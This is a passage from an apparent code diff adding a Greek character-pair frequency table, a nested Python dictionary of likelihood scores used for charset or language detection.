43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 1, # 'ώ' + }, + 50: { # 'Χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 1, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 57: { # 'Ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 17: { # 'ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 18: { # 'έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 3, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 22: { # 'ή' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 2, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 15: { # 'ί' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 2, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 3, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 1, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 1: { # 'α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 3, # 'ζ' + 13: 1, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 29: { # 'β' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 2, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 2, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 3, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 20: { # 'γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 21: { # 'δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 3: { # 'ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 2, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 2, # 'ε' + 32: 2, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 3, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 3, # 'ύ' + 27: 2, # 'ώ' + }, + 32: { # 'ζ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 2, # 'ώ' + }, + 13: { # 'η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 25: { # 'θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 1, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 5: { # 'ι' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 2, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 3, # 'β' + 20: 3, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 2, # 'ζ' + 13: 3, # 'η' + 25: 3, # 'θ' + 5: 0, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 3, # 'ν' + 30: 3, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 3, # 'ς' + 7: 3, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 2, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 11: { # 'κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 3, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 3, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 2, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 16: { # 'λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 3, # 'ά' + 18: 3, # 'έ' + 22: 3, # 'ή' + 15: 3, # 'ί' + 1: 3, # 'α' + 29: 1, # 'β' + 20: 2, # 'γ' + 21: 1, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 2, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 3, # 'ω' + 19: 3, # 'ό' + 26: 3, # 'ύ' + 27: 3, # 'ώ' + }, + 10: { # 'μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 